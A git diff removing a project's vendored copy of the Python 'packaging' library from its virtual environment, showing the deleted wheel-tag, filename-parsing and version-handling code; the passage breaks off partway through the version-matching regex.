- for abi in abis: - for platform_ in platforms: - yield Tag(interpreter, abi, platform_) - - use_abi3 = _abi3_applies(python_version, threading) - use_abi3t = _abi3t_applies(python_version, threading) - if use_abi3: - yield from (Tag(interpreter, "abi3", platform_) for platform_ in platforms) - if use_abi3t: - yield from (Tag(interpreter, "abi3t", platform_) for platform_ in platforms) - - yield from (Tag(interpreter, "none", platform_) for platform_ in platforms) - - if use_abi3 or use_abi3t: - for minor_version in range(python_version[1] - 1, 1, -1): - for platform_ in platforms: - version = _version_nodot((python_version[0], minor_version)) - interpreter = f"cp{version}" - if use_abi3: - yield Tag(interpreter, "abi3", platform_) - if use_abi3t: - # Support for abi3t was introduced in Python 3.15, but in - # principle abi3t wheels are possible for older limited API - # versions, so allow things like ("cp37", "abi3t", "platform") - yield Tag(interpreter, "abi3t", platform_) - - -def _generic_abi() -> list[str]: - """ - Return the ABI tag based on EXT_SUFFIX. - """ - # The following are examples of `EXT_SUFFIX`. - # We want to keep the parts which are related to the ABI and remove the - # parts which are related to the platform: - # - linux: '.cpython-310-x86_64-linux-gnu.so' => cp310 - # - mac: '.cpython-310-darwin.so' => cp310 - # - win: '.cp310-win_amd64.pyd' => cp310 - # - win: '.pyd' => cp37 (uses _cpython_abis()) - # - pypy: '.pypy38-pp73-x86_64-linux-gnu.so' => pypy38_pp73 - # - graalpy: '.graalpy-38-native-x86_64-darwin.dylib' - # => graalpy_38_native - - ext_suffix = _get_config_var("EXT_SUFFIX", warn=True) - if not isinstance(ext_suffix, str) or not ext_suffix.startswith("."): - raise SystemError("invalid sysconfig.get_config_var('EXT_SUFFIX')") - parts = ext_suffix.split(".") - if len(parts) < 3: - # CPython3.7 and earlier uses ".pyd" on Windows. - return _cpython_abis(sys.version_info[:2]) - soabi = parts[1] - if soabi.startswith("cpython"): - # non-windows - cpython_parts = soabi.split("-") - if len(cpython_parts) < 2 or not cpython_parts[1]: - raise SystemError("invalid sysconfig.get_config_var('EXT_SUFFIX')") - abi = "cp" + cpython_parts[1] - elif soabi.startswith("cp"): - # windows - abi = soabi.split("-")[0] - elif soabi.startswith("pypy"): - abi = "-".join(soabi.split("-")[:2]) - elif soabi.startswith("graalpy"): - abi = "-".join(soabi.split("-")[:3]) - elif soabi: - # pyston, ironpython, others? - abi = soabi - else: - return [] - return [_normalize_string(abi)] - - -def generic_tags( - interpreter: str | None = None, - abis: Iterable[str] | None = None, - platforms: Iterable[str] | None = None, - *, - warn: bool = False, -) -> Iterator[Tag]: - """ - Yields the tags for an interpreter which requires no specialization. - - This function should be used if one of the other interpreter-specific - functions provided by this module is not appropriate (i.e. not calculating - tags for a CPython interpreter). - - The specific tags generated are: - - - ``--`` - - The ``"none"`` ABI will be added if it was not explicitly provided. - - :param str interpreter: The name of the interpreter. Defaults to being - calculated. - :param Iterable abis: Iterable of compatible ABIs. Defaults to the ABIs - compatible with the current system. - :param Iterable platforms: Iterable of compatible platforms. Defaults to the - platforms compatible with the current system. - :param bool warn: Whether warnings should be logged. Defaults to ``False``. - - .. versionadded:: 20.0 - """ - if not interpreter: - interp_name = interpreter_name() - interp_version = interpreter_version(warn=warn) - interpreter = f"{interp_name}{interp_version}" - abis = _generic_abi() if abis is None else list(abis) - platforms = list(platforms or platform_tags()) - if "none" not in abis: - abis.append("none") - for abi in abis: - for platform_ in platforms: - yield Tag(interpreter, abi, platform_) - - -def _py_interpreter_range(py_version: PythonVersion) -> Iterator[str]: - """ - Yields Python versions in descending order. - - After the latest version, the major-only version will be yielded, and then - all previous versions of that major version. - """ - if len(py_version) > 1: - yield f"py{_version_nodot(py_version[:2])}" - yield f"py{py_version[0]}" - if len(py_version) > 1: - for minor in range(py_version[1] - 1, -1, -1): - yield f"py{_version_nodot((py_version[0], minor))}" - - -def pure_python_tags( - python_version: PythonVersion | None = None, -) -> Iterator[Tag]: - """ - Yields the pure-Python tags compatible with ``python_version``. - - The tags use the ``"none"`` ABI and ``"any"`` platform, so their - generation does not depend on the running platform. - - .. versionadded:: 26.3 - - :param Sequence python_version: A one- or two-item sequence representing the - compatible version of Python. Defaults to - ``sys.version_info[:2]``. - :raises ValueError: If ``python_version`` is an empty sequence. - """ - if python_version is None: - python_version = sys.version_info[:2] - elif not python_version: - raise ValueError("python_version must contain at least one item") - for version in _py_interpreter_range(python_version): - yield Tag(version, "none", "any") - - -def compatible_tags( - python_version: PythonVersion | None = None, - interpreter: str | None = None, - platforms: Iterable[str] | None = None, -) -> Iterator[Tag]: - """ - Yields the tags for an interpreter compatible with the Python version - specified by ``python_version``. - - The specific tags generated are: - - - ``py*-none-`` - - ``-none-any`` if ``interpreter`` is provided - - ``py*-none-any`` - - :param Sequence python_version: A one- or two-item sequence representing the - compatible version of Python. Defaults to - ``sys.version_info[:2]``. - :param str interpreter: The name of the interpreter (if known), e.g. - ``"cp38"``. Defaults to the current interpreter. - :param Iterable platforms: Iterable of compatible platforms. Defaults to the - platforms compatible with the current system. - - .. versionadded:: 20.0 - """ - if not python_version: - python_version = sys.version_info[:2] - platforms = list(platforms or platform_tags()) - for version in _py_interpreter_range(python_version): - for platform_ in platforms: - yield Tag(version, "none", platform_) - if interpreter: - yield Tag(interpreter, "none", "any") - yield from pure_python_tags(python_version) - - -def _mac_arch(arch: str, is_32bit: bool = _32_BIT_INTERPRETER) -> str: - if not is_32bit: - return arch - - if arch.startswith("ppc"): - return "ppc" - - return "i386" - - -def _mac_binary_formats(version: AppleVersion, cpu_arch: str) -> list[str]: - formats = [cpu_arch] - if cpu_arch == "x86_64": - if version < (10, 4): - return [] - formats.extend(["intel", "fat64", "fat3"]) - - elif cpu_arch == "i386": - if version < (10, 4): - return [] - formats.extend(["intel", "fat3", "fat"]) - - elif cpu_arch == "ppc64": - # TODO: Need to care about 32-bit PPC for ppc64 through 10.2? - if version > (10, 5) or version < (10, 4): - return [] - formats.append("fat64") - - elif cpu_arch == "ppc": - if version > (10, 6): - return [] - formats.extend(["fat3", "fat"]) - - if cpu_arch in {"arm64", "x86_64"}: - formats.append("universal2") - - if cpu_arch in {"x86_64", "i386", "ppc64", "ppc", "intel"}: - formats.append("universal") - - return formats - - -def mac_platforms( - version: AppleVersion | None = None, arch: str | None = None -) -> Iterator[str]: - """ - Yields the :attr:`~Tag.platform` tags for macOS. - - The `version` parameter is a two-item tuple specifying the macOS version to - generate platform tags for. The `arch` parameter is the CPU architecture to - generate platform tags for. Both parameters default to the appropriate value - for the current system. - - :param tuple version: A two-item tuple representing the version of macOS. - Defaults to the current system's version. - :param str arch: The CPU architecture. Defaults to the architecture of the - current system, e.g. ``"x86_64"``. - - .. note:: - Equivalent support for the other major platforms is purposefully not - provided: - - - On Windows, platform compatibility is statically specified - - On Linux, code must be run on the system itself to determine - compatibility - - .. versionadded:: 20.0 - """ - if version is None or arch is None: - version_str, _, cpu_arch = platform.mac_ver() - if version is None: - version = cast("AppleVersion", tuple(map(int, version_str.split(".")[:2]))) - if version == (10, 16): - # When built against an older macOS SDK, Python will report macOS 10.16 - # instead of the real version. - version_str = subprocess.run( - [ - sys.executable, - "-sS", - "-c", - "import platform; print(platform.mac_ver()[0])", - ], - check=True, - env={"SYSTEM_VERSION_COMPAT": "0"}, - stdout=subprocess.PIPE, - text=True, - ).stdout - version = cast( - "AppleVersion", tuple(map(int, version_str.split(".")[:2])) - ) - if arch is None: - arch = _mac_arch(cpu_arch) - - if (10, 0) <= version < (11, 0): - # Prior to Mac OS 11, each yearly release of Mac OS bumped the - # "minor" version number. The major version was always 10. - major_version = 10 - for minor_version in range(version[1], -1, -1): - compat_version = major_version, minor_version - binary_formats = _mac_binary_formats(compat_version, arch) - for binary_format in binary_formats: - yield f"macosx_{major_version}_{minor_version}_{binary_format}" - - if version >= (11, 0): - # Starting with Mac OS 11, each yearly release bumps the major version - # number. The minor versions are now the midyear updates. - minor_version = 0 - for major_version in range(version[0], 10, -1): - compat_version = major_version, minor_version - binary_formats = _mac_binary_formats(compat_version, arch) - for binary_format in binary_formats: - yield f"macosx_{major_version}_{minor_version}_{binary_format}" - - # Mac OS 11 on x86_64 is compatible with binaries from previous releases. - # Arm64 support was introduced in 11.0, so no Arm binaries from previous - # releases exist. - # - # However, the "universal2" binary format can have a - # macOS version earlier than 11.0 when the x86_64 part of the binary supports - # that version of macOS. - major_version = 10 - if arch == "x86_64": - for minor_version in range(16, 3, -1): - compat_version = major_version, minor_version - binary_formats = _mac_binary_formats(compat_version, arch) - for binary_format in binary_formats: - yield f"macosx_{major_version}_{minor_version}_{binary_format}" - else: - for minor_version in range(16, 3, -1): - compat_version = major_version, minor_version - binary_format = "universal2" - yield f"macosx_{major_version}_{minor_version}_{binary_format}" - - -def ios_platforms( - version: AppleVersion | None = None, multiarch: str | None = None -) -> Iterator[str]: - """ - - Yields the :attr:`~Tag.platform` tags for iOS. - - :param tuple version: A two-item tuple representing the version of iOS. - Defaults to the current system's version. - :param str multiarch: The CPU architecture+ABI to be used. This should be in - the format by ``sys.implementation._multiarch`` (e.g., - ``arm64_iphoneos`` or ``x86_64_iphonesimulator``). - Defaults to the current system's multiarch value. - - .. note:: - Behavior of this method is undefined if invoked on non-iOS platforms - without providing explicit version and multiarch arguments. - - .. versionadded:: 24.2 - """ - if version is None: - # if iOS is the current platform, ios_ver *must* be defined. However, - # it won't exist for CPython versions before 3.13, which causes a mypy - # error. - _, release, _, _ = platform.ios_ver() # type: ignore[attr-defined, unused-ignore] - version = cast("AppleVersion", tuple(map(int, release.split(".")[:2]))) - - if multiarch is None: - multiarch = sys.implementation._multiarch - multiarch = multiarch.replace("-", "_") - - ios_platform_template = "ios_{major}_{minor}_{multiarch}" - - # Consider any iOS major.minor version from the version requested, down to - # 12.0. 12.0 is the first iOS version that is known to have enough features - # to support CPython. Consider every possible minor release up to X.9. There - # highest the minor has ever gone is 8 (14.8 and 15.8) but having some extra - # candidates that won't ever match doesn't really hurt, and it saves us from - # having to keep an explicit list of known iOS versions in the code. Return - # the results descending order of version number. - - # If the requested major version is less than 12, there won't be any matches. - if version[0] < 12: - return - - # Consider the actual X.Y version that was requested. - yield ios_platform_template.format( - major=version[0], minor=version[1], multiarch=multiarch - ) - - # Consider every minor version from X.0 to the minor version prior to the - # version requested by the platform. - for minor in range(version[1] - 1, -1, -1): - yield ios_platform_template.format( - major=version[0], minor=minor, multiarch=multiarch - ) - - for major in range(version[0] - 1, 11, -1): - for minor in range(9, -1, -1): - yield ios_platform_template.format( - major=major, minor=minor, multiarch=multiarch - ) - - -def android_platforms( - api_level: int | None = None, abi: str | None = None -) -> Iterator[str]: - """ - Yields the :attr:`~Tag.platform` tags for Android. If this function is invoked on - non-Android platforms, the ``api_level`` and ``abi`` arguments are required. - - :param int api_level: The maximum `API level - `__ to return. Defaults - to the current system's version, as returned by ``platform.android_ver``. - :param str abi: The `Android ABI `__, - e.g. ``arm64_v8a``. Defaults to the current system's ABI , as returned by - ``sysconfig.get_platform``. Hyphens and periods will be replaced with - underscores. - - .. versionadded:: 25.0 - """ - if platform.system() != "Android" and (api_level is None or abi is None): - raise TypeError( - "on non-Android platforms, the api_level and abi arguments are required" - ) - - if api_level is None: - # Python 3.13 was the first version to return platform.system() == "Android", - # and also the first version to define platform.android_ver(). - api_level = platform.android_ver().api_level # type: ignore[attr-defined] - - if abi is None: - abi = sysconfig.get_platform().split("-")[-1] - abi = _normalize_string(abi) - - # 16 is the minimum API level known to have enough features to support CPython - # without major patching. Yield every API level from the maximum down to the - # minimum, inclusive. - min_api_level = 16 - for ver in range(api_level, min_api_level - 1, -1): - yield f"android_{ver}_{abi}" - - -def _linux_platforms(is_32bit: bool = _32_BIT_INTERPRETER) -> Iterator[str]: - linux = _normalize_string(sysconfig.get_platform()) - if not linux.startswith("linux_"): - # we should never be here, just yield the sysconfig one and return - yield linux - return - if is_32bit: - if linux == "linux_x86_64": - linux = "linux_i686" - elif linux == "linux_aarch64": - linux = "linux_armv8l" - _, arch = linux.split("_", 1) - archs = {"armv8l": ["armv8l", "armv7l"]}.get(arch, [arch]) - for arch in archs: - yield f"linux_{arch}" - yield from _manylinux.platform_tags(archs) - yield from _musllinux.platform_tags(archs) - - -def _emscripten_platforms() -> Iterator[str]: - pyemscripten_platform_version = sysconfig.get_config_var( - "PYEMSCRIPTEN_PLATFORM_VERSION" - ) - if pyemscripten_platform_version: - yield f"pyemscripten_{pyemscripten_platform_version}_wasm32" - yield from _generic_platforms() - - -def _generic_platforms() -> Iterator[str]: - yield _normalize_string(sysconfig.get_platform()) - - -def platform_tags() -> Iterator[str]: - """ - Yields the :attr:`~Tag.platform` tags for the running interpreter. - - .. versionadded:: 21.1 - """ - if platform.system() == "Darwin": - return mac_platforms() - elif platform.system() == "iOS": - return ios_platforms() - elif platform.system() == "Android": - return android_platforms() - elif platform.system() == "Linux": - return _linux_platforms() - elif platform.system() == "Emscripten": - return _emscripten_platforms() - else: - return _generic_platforms() - - -def interpreter_name() -> str: - """ - Returns the name of the running interpreter. - - Some implementations have a reserved, two-letter abbreviation which will - be returned when appropriate. - - This typically acts as the prefix to the :attr:`~Tag.interpreter` tag. - - .. versionadded:: 20.0 - """ - name = sys.implementation.name - return INTERPRETER_SHORT_NAMES.get(name) or name - - -def interpreter_version(*, warn: bool = False) -> str: - """ - Returns the running interpreter's version. - - This typically acts as the suffix to the :attr:`~Tag.interpreter` tag. - - :param bool warn: Whether warnings should be logged. Defaults to ``False``. - - .. versionadded:: 20.0 - """ - version = _get_config_var("py_version_nodot", warn=warn) - return str(version) if version else _version_nodot(sys.version_info[:2]) - - -def _version_nodot(version: PythonVersion) -> str: - return "".join(map(str, version)) - - -def sys_tags(*, warn: bool = False) -> Iterator[Tag]: - """ - Yields the sequence of tag triples that the running interpreter supports. - - The iterable is ordered so that the best-matching tag is first in the - sequence. The exact preferential order to tags is interpreter-specific, but - in general the tag importance is in the order of: - - 1. Interpreter - 2. Platform - 3. ABI - - This order is due to the fact that an ABI is inherently tied to the - platform, but platform-specific code is not necessarily tied to the ABI. The - interpreter is the most important tag as it dictates basic support for any - wheel. - - The function returns an iterable in order to allow for the possible - short-circuiting of tag generation if the entire sequence is not necessary - and tag calculation happens to be expensive. - - :param bool warn: Whether warnings should be logged. Defaults to ``False``. - - .. versionchanged:: 21.3 - Added the `pp3-none-any` tag (:issue:`311`). - .. versionchanged:: 26.1 - Added the `abi3t` tag (:issue:`1099`). - .. versionchanged:: 26.3 - Native ``linux_*`` platform tags are now ordered before ``manylinux`` - and ``musllinux`` tags (:issue:`160`). - """ - - interp_name = interpreter_name() - if interp_name == "cp": - yield from cpython_tags(warn=warn) - else: - yield from generic_tags(warn=warn) - - if interp_name == "pp": - interp = "pp3" - elif interp_name == "cp": - interp = "cp" + interpreter_version(warn=warn) - else: - interp = None - yield from compatible_tags(interpreter=interp) - - -def create_compatible_tags_selector( - tags: Iterable[Tag], -) -> Callable[[Iterable[tuple[_T, AbstractSet[Tag]]]], Iterator[_T]]: - """Create a callable to select things compatible with supported tags. - - This function accepts an ordered sequence of tags, with the preferred - tags first. - - The returned callable accepts an iterable of tuples (thing, set[Tag]), - and returns an iterator of things, with the things with the best - matching tags first. - - Example to select compatible wheel filenames: - - >>> from packaging import tags - >>> from packaging.utils import parse_wheel_filename - >>> selector = tags.create_compatible_tags_selector(tags.sys_tags()) - >>> filenames = ["foo-1.0-py3-none-any.whl", "foo-1.0-py2-none-any.whl"] - >>> list(selector([ - ... (filename, parse_wheel_filename(filename)[-1]) for filename in filenames - ... ])) - ['foo-1.0-py3-none-any.whl'] - - .. versionadded:: 26.1 - """ - tag_ranks: dict[Tag, int] = {} - for rank, tag in enumerate(tags): - tag_ranks.setdefault(tag, rank) # ignore duplicate tags, keep first - supported_tags = tag_ranks.keys() - - def selector( - tagged_things: Iterable[tuple[_T, AbstractSet[Tag]]], - ) -> Iterator[_T]: - ranked_things: list[tuple[_T, int]] = [] - for thing, thing_tags in tagged_things: - supported_thing_tags = thing_tags & supported_tags - if supported_thing_tags: - thing_rank = min(tag_ranks[t] for t in supported_thing_tags) - ranked_things.append((thing, thing_rank)) - return iter( - thing for thing, _ in sorted(ranked_things, key=operator.itemgetter(1)) - ) - - return selector diff --git a/venv/Lib/site-packages/packaging/utils.py b/venv/Lib/site-packages/packaging/utils.py deleted file mode 100644 index 2f0ce20744749bcf3aea28177eb764ed2afa7c85..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/packaging/utils.py +++ /dev/null @@ -1,370 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from __future__ import annotations - -import re -from typing import NewType, Union, cast - -from .tags import InvalidTag, Tag, UnsortedTagsError, parse_tag -from .version import InvalidVersion, Version, _TrimmedRelease - -__all__ = [ - "BuildTag", - "InvalidName", - "InvalidSdistFilename", - "InvalidWheelFilename", - "NormalizedName", - "canonicalize_name", - "canonicalize_version", - "is_normalized_name", - "parse_sdist_filename", - "parse_wheel_filename", -] - - -def __dir__() -> list[str]: - return __all__ - - -BuildTag = Union[tuple[()], tuple[int, str]] -""" -A wheel build tag: an empty tuple, or a ``(build number, build tag suffix)`` pair. - -.. versionadded:: 20.9 -""" - -NormalizedName = NewType("NormalizedName", str) -""" -A :class:`typing.NewType` of :class:`str`, representing a normalized name. - -.. versionadded:: 20.4 -""" - - -class InvalidName(ValueError): - """ - An invalid distribution name; users should refer to the packaging user guide. - - .. versionadded:: 23.2 - """ - - -class InvalidWheelFilename(ValueError): - """ - An invalid wheel filename was found, users should refer to PEP 427. - - .. versionadded:: 20.9 - """ - - -class InvalidSdistFilename(ValueError): - """ - An invalid sdist filename was found, users should refer to the packaging user guide. - - .. versionadded:: 20.9 - """ - - -# Core metadata spec for `Name` -_validate_regex = re.compile( - r"[a-z0-9]|[a-z0-9][a-z0-9._-]*[a-z0-9]", re.IGNORECASE | re.ASCII -) -_normalized_regex = re.compile(r"[a-z0-9]+(?:-[a-z0-9]+)*", re.ASCII) -# PEP 427: The build number must start with a digit. -_build_tag_regex = re.compile(r"(\d+)(.*)", re.ASCII) -# PEP 427: Valid characters for an escaped project name in a wheel filename. -# Requires at least one character so an empty project name is rejected. -_wheel_name_regex = re.compile(r"^[\w._]+\Z", re.UNICODE) - - -def canonicalize_name(name: str, *, validate: bool = False) -> NormalizedName: - """ - This function takes a valid Python package or extra name, and returns the - normalized form of it. - - The return type is typed as :class:`NormalizedName`. This allows type - checkers to help require that a string has passed through this function - before use. - - If **validate** is true, then the function will check if **name** is a valid - distribution name before normalizing. - - :param str name: The name to normalize. - :param bool validate: Check whether the name is a valid distribution name. - :raises InvalidName: If **validate** is true and the name is not an - acceptable distribution name. - - >>> from packaging.utils import canonicalize_name - >>> canonicalize_name("Django") - 'django' - >>> canonicalize_name("oslo.concurrency") - 'oslo-concurrency' - >>> canonicalize_name("requests") - 'requests' - - .. versionadded:: 16.2 - - .. versionchanged:: 20.4 - The return type was changed to :class:`NormalizedName`. - - .. versionchanged:: 23.2 - Added the *validate* keyword parameter. - """ - if validate and not _validate_regex.fullmatch(name): - raise InvalidName(f"name is invalid: {name!r}") - # Ensure all ``.`` and ``_`` are ``-`` - # Emulates ``re.sub(r"[-_.]+", "-", name).lower()`` from PEP 503 - # Much faster than re, and even faster than str.translate - value = name.lower().replace("_", "-").replace(".", "-") - # Condense repeats (faster than regex) - while "--" in value: - value = value.replace("--", "-") - return cast("NormalizedName", value) - - -def is_normalized_name(name: str) -> bool: - """ - Check if a name is a normalized project name (i.e. a valid name that - :func:`canonicalize_name` would roundtrip to the same value). - - The roundtrip only characterizes normalized names for *valid* names. A name - must start and end with an ASCII letter or digit, which - :func:`canonicalize_name` does not enforce: it leaves a leading or trailing - hyphen in place, so such a name roundtrips without being normalized. - - :param str name: The name to check. - - >>> from packaging.utils import canonicalize_name, is_normalized_name - >>> is_normalized_name("requests") - True - >>> is_normalized_name("Django") - False - >>> canonicalize_name("_not_legal") - '-not-legal' - >>> is_normalized_name("-not-legal") # roundtrips, but not a valid name - False - - .. versionadded:: 23.2 - """ - return _normalized_regex.fullmatch(name) is not None - - -def canonicalize_version( - version: Version | str, *, strip_trailing_zero: bool = True -) -> str: - """Return a canonical form of a version as a string. - - This function takes a string representing a package version (or a - :class:`~packaging.version.Version` instance), and returns the - normalized form of it. By default, it strips trailing zeros from - the release segment. - - >>> from packaging.utils import canonicalize_version - >>> canonicalize_version('1.0.1') - '1.0.1' - - Per PEP 625, versions may have multiple canonical forms, differing - only by trailing zeros. - - >>> canonicalize_version('1.0.0') - '1' - >>> canonicalize_version('1.0.0', strip_trailing_zero=False) - '1.0.0' - - Invalid versions are returned unaltered. - - >>> canonicalize_version('foo bar baz') - 'foo bar baz' - - >>> canonicalize_version('1.4.0.0.0') - '1.4' - - .. versionadded:: 17.1 - - .. versionchanged:: 21.0 - The return type was narrowed to :class:`str`. - - .. versionchanged:: 22.0 - Added the *strip_trailing_zero* keyword parameter. - """ - if isinstance(version, str): - try: - version = Version(version) - except InvalidVersion: - return str(version) - return str(_TrimmedRelease(version) if strip_trailing_zero else version) - - -def parse_wheel_filename( - filename: str, - *, - validate_order: bool = False, -) -> tuple[NormalizedName, Version, BuildTag, frozenset[Tag]]: - """ - This function takes the filename of a wheel file, and parses it, - returning a tuple of name, version, build number, and tags. - - The name part of the tuple is normalized and typed as - :class:`NormalizedName`. The version portion is an instance of - :class:`~packaging.version.Version`. The build number is ``()`` if - there is no build number in the wheel filename, otherwise a - two-item tuple of an integer for the leading digits and - a string for the rest of the build number. The tags portion is a - frozen set of :class:`~packaging.tags.Tag` instances (as the tag - string format allows multiple tags to be combined into a single - string). - - If **validate_order** is true, compressed tag set components are - checked to be in sorted order as required by PEP 425. - - :param str filename: The name of the wheel file. - :param bool validate_order: Check whether compressed tag set components - are in sorted order. - :raises InvalidWheelFilename: If the filename in question - does not follow the :ref:`wheel specification - `. - - >>> from packaging.utils import parse_wheel_filename - >>> from packaging.tags import Tag - >>> from packaging.version import Version - >>> name, ver, build, tags = parse_wheel_filename("foo-1.0-py3-none-any.whl") - >>> name - 'foo' - >>> ver == Version('1.0') - True - >>> tags == {Tag("py3", "none", "any")} - True - >>> not build - True - - .. versionadded:: 20.9 - - .. versionchanged:: 23.2 - Raises :class:`InvalidWheelFilename` when the version component is invalid. - - .. versionadded:: 26.1 - The *validate_order* parameter. - - .. versionchanged:: 26.3 - Raises :class:`InvalidWheelFilename` when an interpreter component is - not an identifier, a tag set component is empty, or the project name is - empty. - """ - if not filename.endswith(".whl"): - raise InvalidWheelFilename( - f"Invalid wheel filename (extension must be '.whl'): {filename!r}" - ) - - filename = filename[:-4] - dashes = filename.count("-") - if dashes not in (4, 5): - raise InvalidWheelFilename( - f"Invalid wheel filename (wrong number of parts): {filename!r}" - ) - - parts = filename.split("-", dashes - 2) - name_part = parts[0] - # See PEP 427 for the rules on escaping the project name. - if "__" in name_part or _wheel_name_regex.match(name_part) is None: - raise InvalidWheelFilename(f"Invalid project name: {filename!r}") - name = canonicalize_name(name_part) - - try: - version = Version(parts[1]) - except InvalidVersion as e: - raise InvalidWheelFilename( - f"Invalid wheel filename (invalid version): {filename!r}" - ) from e - - if dashes == 5: - build_part = parts[2] - build_match = _build_tag_regex.match(build_part) - if build_match is None: - raise InvalidWheelFilename( - f"Invalid build number: {build_part} in {filename!r}" - ) - build = cast("BuildTag", (int(build_match.group(1)), build_match.group(2))) - else: - build = () - tag_str = parts[-1] - try: - tags = parse_tag(tag_str, validate_order=validate_order) - except UnsortedTagsError: - raise InvalidWheelFilename( - f"Invalid wheel filename (compressed tag set components must be in " - f"sorted order per PEP 425): {filename!r}" - ) from None - except InvalidTag: - raise InvalidWheelFilename( - f"Invalid wheel filename (invalid tag component): {filename!r}" - ) from None - return (name, version, build, tags) - - -def parse_sdist_filename(filename: str) -> tuple[NormalizedName, Version]: - """ - This function takes the filename of a sdist file (as specified - in the `Source distribution format`_ documentation), and parses - it, returning a tuple of the normalized name and version as - represented by an instance of :class:`~packaging.version.Version`. - - :param str filename: The name of the sdist file. - :raises InvalidSdistFilename: If the filename does not end - with an sdist extension (``.zip`` or ``.tar.gz``), if it does not - contain a dash separating the name and the version of the distribution, - if the project name is empty, or if the version portion is not a valid - version. - - >>> from packaging.utils import parse_sdist_filename - >>> from packaging.version import Version - >>> name, ver = parse_sdist_filename("foo-1.0.tar.gz") - >>> name - 'foo' - >>> ver == Version('1.0') - True - - .. versionadded:: 20.9 - - .. versionchanged:: 21.0 - Added support for ``.zip`` source distributions. - - .. versionchanged:: 23.2 - Raises :class:`InvalidSdistFilename` when the version component is invalid. - - .. versionchanged:: 26.3 - Raises :class:`InvalidSdistFilename` on an empty project name. - - .. _Source distribution format: https://packaging.python.org/specifications/source-distribution-format/#source-distribution-file-name - """ - if filename.endswith(".tar.gz"): - file_stem = filename[: -len(".tar.gz")] - elif filename.endswith(".zip"): - file_stem = filename[: -len(".zip")] - else: - raise InvalidSdistFilename( - f"Invalid sdist filename (extension must be '.tar.gz' or '.zip'):" - f" {filename!r}" - ) - - # We are requiring a PEP 440 version, which cannot contain dashes, - # so we split on the last dash. - name_part, sep, version_part = file_stem.rpartition("-") - if not sep: - raise InvalidSdistFilename(f"Invalid sdist filename: {filename!r}") - if not name_part: - raise InvalidSdistFilename( - f"Invalid sdist filename (empty project name): {filename!r}" - ) - - name = canonicalize_name(name_part) - - try: - version = Version(version_part) - except InvalidVersion as e: - raise InvalidSdistFilename( - f"Invalid sdist filename (invalid version): {filename!r}" - ) from e - - return (name, version) diff --git a/venv/Lib/site-packages/packaging/version.py b/venv/Lib/site-packages/packaging/version.py deleted file mode 100644 index 5a964bd22fd540dcb5e5f1ef13510346c28800b3..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/packaging/version.py +++ /dev/null @@ -1,1252 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. -""" -.. testsetup:: - - from packaging.version import parse, normalize_pre, Version, _cmpkey -""" - -from __future__ import annotations - -import re -import sys -import typing -from typing import ( - Any, - Callable, - Literal, - NamedTuple, - SupportsInt, - TypedDict, - Union, -) - -if typing.TYPE_CHECKING: - from typing_extensions import Self, Unpack - -if sys.version_info >= (3, 13): # pragma: no cover - from warnings import deprecated as _deprecated -elif typing.TYPE_CHECKING: - from typing_extensions import deprecated as _deprecated -else: # pragma: no cover - import functools - import warnings - - def _deprecated(message: str) -> object: - def decorator(func: Callable[[...], object]) -> object: - @functools.wraps(func) - def wrapper(*args: object, **kwargs: object) -> object: - warnings.warn( - message, - category=DeprecationWarning, - stacklevel=2, - ) - return func(*args, **kwargs) - - return wrapper - - return decorator - - -_LETTER_NORMALIZATION = { - "alpha": "a", - "beta": "b", - "c": "rc", - "pre": "rc", - "preview": "rc", - "rev": "post", - "r": "post", -} - -__all__ = ["VERSION_PATTERN", "InvalidVersion", "Version", "normalize_pre", "parse"] - - -def __dir__() -> list[str]: - return __all__ - - -LocalType = tuple[Union[int, str], ...] - -CmpLocalType = tuple[tuple[int, str], ...] -CmpSuffix = tuple[int, int, int, int, int, int] -CmpKey = Union[ - tuple[int, tuple[int, ...], CmpSuffix], - tuple[int, tuple[int, ...], CmpSuffix, CmpLocalType], -] -VersionComparisonMethod = Callable[[CmpKey, CmpKey], bool] - - -class _VersionReplace(TypedDict, total=False): - epoch: int | None - release: tuple[int, ...] | None - pre: tuple[str, int] | None - post: int | None - dev: int | None - local: str | None - - -def normalize_pre(letter: str, /) -> str: - """Normalize the pre-release segment of a version string. - - Returns a lowercase version of the string if not a known pre-release - identifier. - - >>> normalize_pre('alpha') - 'a' - >>> normalize_pre('BETA') - 'b' - >>> normalize_pre('rc') - 'rc' - - :param letter: - - .. versionadded:: 26.1 - """ - letter = letter.lower() - return _LETTER_NORMALIZATION.get(letter, letter) - - -def parse(version: str) -> Version: - """Parse the given version string. - - This is identical to the :class:`Version` constructor. - - >>> parse('1.0.dev1') - - - :param version: The version string to parse. - :raises InvalidVersion: When the version string is not a valid version. - """ - return Version(version) - - -class InvalidVersion(ValueError): - """Raised when a version string is not a valid version. - - >>> Version("invalid") - Traceback (most recent call last): - ... - packaging.version.InvalidVersion: Invalid version: 'invalid' - """ - - -class _BaseVersion: - __slots__ = () - - # This can also be a normal member (see the packaging_legacy package); - # we are just requiring it to be readable. Actually defining a property - # has runtime effect on subclasses, so it's typing only. - if typing.TYPE_CHECKING: - - @property - def _key(self) -> tuple[Any, ...]: ... - - def __hash__(self) -> int: - return hash(self._key) - - # Please keep the duplicated `isinstance` check - # in the six comparisons hereunder - # unless you find a way to avoid adding overhead function calls. - def __lt__(self, other: _BaseVersion) -> bool: - if not isinstance(other, _BaseVersion): - return NotImplemented - - return self._key < other._key - - def __le__(self, other: _BaseVersion) -> bool: - if not isinstance(other, _BaseVersion): - return NotImplemented - - return self._key <= other._key - - def __eq__(self, other: object) -> bool: - if not isinstance(other, _BaseVersion): - return NotImplemented - - return self._key == other._key - - def __ge__(self, other: _BaseVersion) -> bool: - if not isinstance(other, _BaseVersion): - return NotImplemented - - return self._key >= other._key - - def __gt__(self, other: _BaseVersion) -> bool: - if not isinstance(other, _BaseVersion): - return NotImplemented - - return self._key > other._key - - def __ne__(self, other: object) -> bool: - if not isinstance(other, _BaseVersion): - return NotImplemented - - return self._key != other._key - - -# Deliberately not anchored to the start and end of the string, to make it -# easier for 3rd party code to reuse - -# Note that ++ doesn't behave identically on CPython and PyPy, so not using it here -_VERSION_PATTERN = r""" - v?+ # optional leading v - (?a: - (?:(?P[0-9]+)!)?+ # epoch - (?P[0-9]+(?:\.[0-9]+)*+) # release segment - (?P
                                          # pre-release
-            [._-]?+
